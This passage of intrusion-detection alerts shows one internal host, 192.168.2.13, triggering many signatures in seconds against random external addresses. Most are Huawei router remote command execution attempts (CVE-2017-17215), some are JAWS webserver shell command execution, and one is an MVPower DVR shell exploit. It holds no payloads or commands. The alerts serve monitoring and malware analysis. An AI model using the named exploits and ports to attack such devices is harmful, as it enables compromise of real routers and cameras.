SID:	2835222
Source Port:	38428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.241.255.243

Timestamp:	06/10/24-15:38:00.250289
SID:	2835222
Source Port:	58062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 75.148.35.4

Timestamp:	06/10/24-15:38:02.091217
SID:	2030092
Source Port:	55178
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.168.73.24

Timestamp:	06/10/24-15:38:00.204323
SID:	2829579
Source Port:	45564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.81.150.33

Timestamp:	06/10/24-15:38:02.764373
SID:	2829579
Source Port:	43254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.201.215.148

Timestamp:	06/10/24-15:38:02.853487
SID:	2835222
Source Port:	37098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 212.194.156.239

Timestamp:	06/10/24-15:38:02.131522
SID:	2030092
Source Port:	42740
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.181.198.133

Timestamp:	06/10/24-15:38:00.198032
SID:	2829579
Source Port:	54544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 207.231.246.49

Timestamp:	06/10/24-15:38:02.308830
SID:	2030092
Source Port:	53204
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.91.3.35

Timestamp:	06/10/24-15:38:02.824797
SID:	2835222
Source Port:	49450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.30.176.173

Timestamp:	06/10/24-15:38:02.835522
SID:	2835222
Source Port:	45676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.56.46.223

Timestamp:	06/10/24-15:38:00.250990
SID:	2835222
Source Port:	50800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 130.15.10.169

Timestamp:	06/10/24-15:38:02.204471
SID:	2030092
Source Port:	37872
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.92.127.129

Timestamp:	06/10/24-15:37:59.939523
SID:	2829579
Source Port:	56768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 187.115.23.27

Timestamp:	06/10/24-15:38:02.322475
SID:	2030092
Source Port:	39382
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.239.33.211

Timestamp:	06/10/24-15:38:02.805331
SID:	2829579
Source Port:	37884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.57.68.100

Timestamp:	06/10/24-15:38:00.005516
SID:	2835222
Source Port:	53026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.254.58.48

Timestamp:	06/10/24-15:38:00.258740
SID:	2835222
Source Port:	53884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 141.155.135.155

Timestamp:	06/10/24-15:38:02.175217
SID:	2030092
Source Port:	34330
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.246.148.60

Timestamp:	06/10/24-15:38:02.914938
SID:	2835222
Source Port:	59818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.211.48.76

Timestamp:	06/10/24-15:38:00.008064
SID:	2835222
Source Port:	39324
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 146.127.201.93

Timestamp:	06/10/24-15:38:02.290844
SID:	2030092
Source Port:	46446
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 195.209.166.102

Timestamp:	06/10/24-15:37:59.868776
SID:	2030092
Source Port:	42046
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.79.10.64

Timestamp:	06/10/24-15:37:59.944688
SID:	2835222
Source Port:	46644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.46.209.218

Timestamp:	06/10/24-15:38:00.209800
SID:	2835222
Source Port:	46028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.190.17.120

Timestamp:	06/10/24-15:38:00.248812
SID:	2835222
Source Port:	33070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.226.178.21

Timestamp:	06/10/24-15:38:00.186102
SID:	2829579
Source Port:	53280
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.76.64.6

Timestamp:	06/10/24-15:38:02.694481
SID:	2829579
Source Port:	51728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 72.31.149.51

Timestamp:	06/10/24-15:38:02.109647
SID:	2030092
Source Port:	53966
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 107.69.148.137

Timestamp:	06/10/24-15:38:02.258309
SID:	2030092
Source Port:	58242
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 76.129.22.5

Timestamp:	06/10/24-15:38:02.114754
SID:	2030092
Source Port:	52392
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.237.168.85

Timestamp:	06/10/24-15:38:02.644240
SID:	2829579
Source Port:	50450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.134.62.117

Timestamp:	06/10/24-15:38:00.160015
SID:	2829579
Source Port:	44468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 140.7.159.132

Timestamp:	06/10/24-15:38:02.240413
SID:	2030092
Source Port:	38658
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.94.92.161

Timestamp:	06/10/24-15:38:02.840962
SID:	2829579
Source Port:	38198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.159.14.165

Timestamp:	06/10/24-15:38:02.646438
SID:	2835222
Source Port:	45280
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.59.124.13

Timestamp:	06/10/24-15:38:00.027699
SID:	2835222
Source Port:	55096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.129.88.86

Timestamp:	06/10/24-15:38:00.270805
SID:	2835222
Source Port:	57758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 125.86.204.158

Timestamp:	06/10/24-15:38:02.109019
SID:	2030092
Source Port:	60560
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.206.110.186

Timestamp:	06/10/24-15:38:00.202797
SID:	2829579
Source Port:	49114
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.69.228.208

Timestamp:	06/10/24-15:38:00.161493
SID:	2835222
Source Port:	33540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.211.133.216

Timestamp:	06/10/24-15:38:02.506272
SID:	2835222
Source Port:	32782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.116.245.45

Timestamp:	06/10/24-15:38:00.255864
SID:	2829579
Source Port:	46904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.125.224.191

Timestamp:	06/10/24-15:37:59.946134
SID:	2829579
Source Port:	33492
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.51.204.222

Timestamp:	06/10/24-15:38:02.917908
SID:	2829579
Source Port:	47136
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.70.30.5

Timestamp:	06/10/24-15:38:02.933795
SID:	2829579
Source Port:	52838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.225.243.209

Timestamp:	06/10/24-15:38:00.221508
SID:	2835222
Source Port:	54140
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.253.102.61

Timestamp:	06/10/24-15:38:00.017705
SID:	2829579
Source Port:	44662
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.65.34.75

Timestamp:	06/10/24-15:38:02.692312
SID:	2829579
Source Port:	55186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.21.120.143

Timestamp:	06/10/24-15:38:02.850206
SID:	2829579
Source Port:	40532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.239.132.115

Timestamp:	06/10/24-15:38:02.866110
SID:	2835222
Source Port:	54502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.0.196.5

Timestamp:	06/10/24-15:38:02.709297
SID:	2835222
Source Port:	33708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.112.119.1

Timestamp:	06/10/24-15:38:00.260140
SID:	2829579
Source Port:	46142
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.32.132.93

Timestamp:	06/10/24-15:37:59.933966
SID:	2829579
Source Port:	56460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.218.214.250

Timestamp:	06/10/24-15:37:59.986870
SID:	2829579
Source Port:	57044
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.31.52.172

Timestamp:	06/10/24-15:38:02.857260
SID:	2829579
Source Port:	52206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.19.84.44

Timestamp:	06/10/24-15:38:02.808787
SID:	2829579
Source Port:	53890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.12.201.188

Timestamp:	06/10/24-15:38:00.019152
SID:	2835222
Source Port:	57320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.162.243.21

Timestamp:	06/10/24-15:38:00.022727
SID:	2835222
Source Port:	38164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 60.238.166.80

Timestamp:	06/10/24-15:38:02.208623
SID:	2030092
Source Port:	33738
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.149.113.57

Timestamp:	06/10/24-15:37:59.973933
SID:	2829579
Source Port:	60388
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.157.185.2

Timestamp:	06/10/24-15:38:02.741975
SID:	2835222
Source Port:	53950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.103.106.207

Timestamp:	06/10/24-15:38:02.870630
SID:	2829579
Source Port:	56808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 20.192.68.43

Timestamp:	06/10/24-15:37:59.866129
SID:	2030092
Source Port:	52018
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.245.92.52

Timestamp:	06/10/24-15:38:02.510425
SID:	2835222
Source Port:	37076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.142.139.143

Timestamp:	06/10/24-15:38:02.922975
SID:	2835222
Source Port:	33046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.66.48.157

Timestamp:	06/10/24-15:38:02.834263
SID:	2835222
Source Port:	39336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.49.85.159

Timestamp:	06/10/24-15:38:02.936119
SID:	2835222
Source Port:	47328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.89.39.231

Timestamp:	06/10/24-15:37:59.931967
SID:	2835222
Source Port:	37610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 152.8.91.49

Timestamp:	06/10/24-15:38:02.167024
SID:	2030092
Source Port:	50818
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.235.244.224

Timestamp:	06/10/24-15:38:00.237158
SID:	2829579
Source Port:	42124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.145.93.184

Timestamp:	06/10/24-15:38:00.238002
SID:	2835222
Source Port:	57242
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.57.17.164

Timestamp:	06/10/24-15:38:00.189175
SID:	2829579
Source Port:	58464
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.34.192.208

Timestamp:	06/10/24-15:38:00.162235
SID:	2829579
Source Port:	37698
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 89.154.140.237

Timestamp:	06/10/24-15:38:02.179580
SID:	2030092
Source Port:	39528
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.142.203.17

Timestamp:	06/10/24-15:37:59.942479
SID:	2829579
Source Port:	55606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.226.55.109

Timestamp:	06/10/24-15:38:00.191721
SID:	2835222
Source Port:	48406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 186.226.52.88

Timestamp:	06/10/24-15:38:02.149724
SID:	2030092
Source Port:	41308
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.152.171.196

Timestamp:	06/10/24-15:38:02.644982
SID:	2829579
Source Port:	60718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 181.171.108.67

Timestamp:	06/10/24-15:37:59.772200
SID:	2025883
Source Port:	49156
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.211.139.234

Timestamp:	06/10/24-15:38:00.160743
SID:	2829579
Source Port:	57854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.201.14.29

Timestamp:	06/10/24-15:37:59.964618
SID:	2835222
Source Port:	54370
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.90.232.117

Timestamp:	06/10/24-15:37:59.999497
SID:	2835222
Source Port:	37368
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.128.202.20

Timestamp:	06/10/24-15:38:00.212309
SID:	2829579
Source Port:	55900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.183.245.26

Timestamp:	06/10/24-15:38:00.239703
SID:	2835222
Source Port:	33930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.156.125.193

Timestamp:	06/10/24-15:38:00.195434
SID:	2835222
Source Port:	34518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.245.146.76

Timestamp:	06/10/24-15:38:02.504959
SID:	2829579
Source Port:	34860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.205.120.113

Timestamp:	06/10/24-15:38:00.029158
SID:	2835222
Source Port:	34938
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.195.196.75

Timestamp:	06/10/24-15:38:00.260853
SID:	2835222
Source Port:	44940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.163.189.151

Timestamp:	06/10/24-15:38:00.017007
SID:	2835222
Source Port:	41972
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.81.221.6

Timestamp:	06/10/24-15:38:02.689784
SID:	2835222
Source Port:	55340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 210.226.139.82

Timestamp:	06/10/24-15:38:02.236761
SID:	2030092
Source Port:	58072
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.194.61.76

Timestamp:	06/10/24-15:38:00.015623
SID:	2835222
Source Port:	40590
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 206.64.82.156

Timestamp:	06/10/24-15:38:02.238893
SID:	2030092
Source Port:	46862
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.60.90.199

Timestamp:	06/10/24-15:37:59.934919
SID:	2829579
Source Port:	56378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.255.246.136

Timestamp:	06/10/24-15:37:59.983452
SID:	2829579
Source Port:	44048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.165.201.247

Timestamp:	06/10/24-15:37:59.992068
SID:	2835222
Source Port:	49128
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.14.88.10

Timestamp:	06/10/24-15:38:02.657284
SID:	2829579
Source Port:	50714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.63.57.16

Timestamp:	06/10/24-15:38:00.230283
SID:	2829579
Source Port:	53326
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.58.54.58

Timestamp:	06/10/24-15:38:00.010670
SID:	2829579
Source Port:	54964
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.251.250.147

Timestamp:	06/10/24-15:38:02.827129
SID:	2835222
Source Port:	42044
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.186.142.103

Timestamp:	06/10/24-15:38:02.778188
SID:	2829579
Source Port:	36016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 48.89.208.8

Timestamp:	06/10/24-15:38:02.130177
SID:	2030092
Source Port:	49926
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 213.143.126.69

Timestamp:	06/10/24-15:38:02.193407
SID:	2030092
Source Port:	37466
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.45.254.180

Timestamp:	06/10/24-15:38:02.776905
SID:	2835222
Source Port:	46860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.110.2.110

Timestamp:	06/10/24-15:38:00.183832
SID:	2829579
Source Port:	50966
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

